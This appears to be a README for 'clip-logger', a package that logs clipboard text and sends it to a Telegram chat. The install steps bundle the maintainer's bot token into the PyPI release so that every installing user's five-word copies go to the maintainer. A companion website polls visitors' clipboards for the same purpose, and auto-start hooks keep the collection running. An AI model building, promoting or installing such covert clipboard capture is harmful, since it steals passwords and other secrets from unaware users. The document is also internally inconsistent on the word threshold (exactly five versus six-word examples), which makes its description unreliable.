clip-logger

clip_logger

Logs whenever exactly 5 words are copied to the clipboard.

Built for WSL2 — it reads the Windows clipboard via PowerShell, so it catches anything you copy in Windows apps or in the WSL terminal.

Install

For all users (PyPI):

pip install clip-logger

From source (developers):

pip install .
# or editable:
pip install -e .

That installs the clip-logger command. No other setup required.

See PUBLISHING.md if you are the maintainer uploading to PyPI.

Telegram — one token for all users

Maintainer (you) — put the bot token in keygen/.env, then before each PyPI upload:

python scripts/prepare_pypi_release.py
python -m build && twine upload dist/*

That bundles your token into the package. Pip users do nothing — they just:

pip install clip-logger
clip-logger install

All 5-word copies from every user go to your Telegram chat.

Website server — same keygen/.env is used when visitors use the monitor site.

After install (per-user local daemon)

OS	Config & logs
Windows	%APPDATA%\clip-logger\
Linux / WSL	~/.config/clip-logger/

Use

clip-logger start               # run in background
clip-logger status              # running? auto-start? log path?
clip-logger tail                # last 10 logged copies
clip-logger stop                # stop daemon
clip-logger install             # auto-start on login / after reboot
clip-logger uninstall           # remove auto-start

Alternative (without pip): python clip_logger.py start or python -m clip_logger start

Auto-start (no manual start each time)

Method	When it runs	Setup
paste-share boot	Whenever you run python3 app.py	Default on. Set AUTO_START_CLIP_LOGGER=0 in .env to disable
Website paste button	Visitor grants clipboard permission	Already wired — calls clip-logger start
Task Scheduler	Every Windows sign-in	Run once: clip-logger install
systemd user service	Every WSL/Linux login	Run once: clip-logger install

# Option A: starts when paste-share server starts (default)
cd paste-share && python3 app.py

# Option B: starts on every login / after reboot
clip-logger install      # Windows: Task Scheduler | WSL/Linux: systemd
clip-logger uninstall      # remove later

Windows (native):

pip install .
clip-logger install
clip-logger status

All methods are idempotent — if clip_logger is already running, start is a no-op.

Paste-to-share integration

When a visitor allows clipboard access on the paste-share site:

• Browser polls that visitor's clipboard every POLL_SECONDS.
• On exactly WORD_THRESHOLD words, POST /api/clipboard/capture.
• Server runs clip-logger log (stdin JSON) to write the log and send Telegram.

clip-logger read / start remain for local CLI and the server-host daemon. Visitor captures use log — no install on the visitor's machine.

What gets logged

Each qualifying copy appends one JSON line to clipboard_log.jsonl:

{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}

Only copies whose content changes and has exactly 5 words are recorded.

Setup (.env)

Copy .env.example to .env and fill it in:

TELEGRAM_BOT_TOKEN=123456:ABC-your-token
TELEGRAM_CHAT_ID=987654321
WORD_THRESHOLD=5
POLL_SECONDS=2.0

Getting the Telegram values:

• Message @BotFather in Telegram → /newbot → copy the token.
• Send your new bot any message (e.g. "hi").
• Open https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates and copy the "chat":{"id": ...} number into TELEGRAM_CHAT_ID.

If the token/chat id are blank, it still logs to file — it just skips sending Telegram messages.

Telegram message

On each qualifying copy you'll receive:

📋 Clipboard (6 words)
2026-06-05T13:19:45-07:00

alpha beta gamma delta epsilon zeta

Settings

• WORD_THRESHOLD — minimum word count to log (default 5)
• POLL_SECONDS — how often the clipboard is checked (default 2.0)

Note

The log stores the full copied text, which can include sensitive data (passwords, keys, etc.). It lives in plain text at clipboard_log.jsonl — keep that in mind, and delete it when you don't need the history.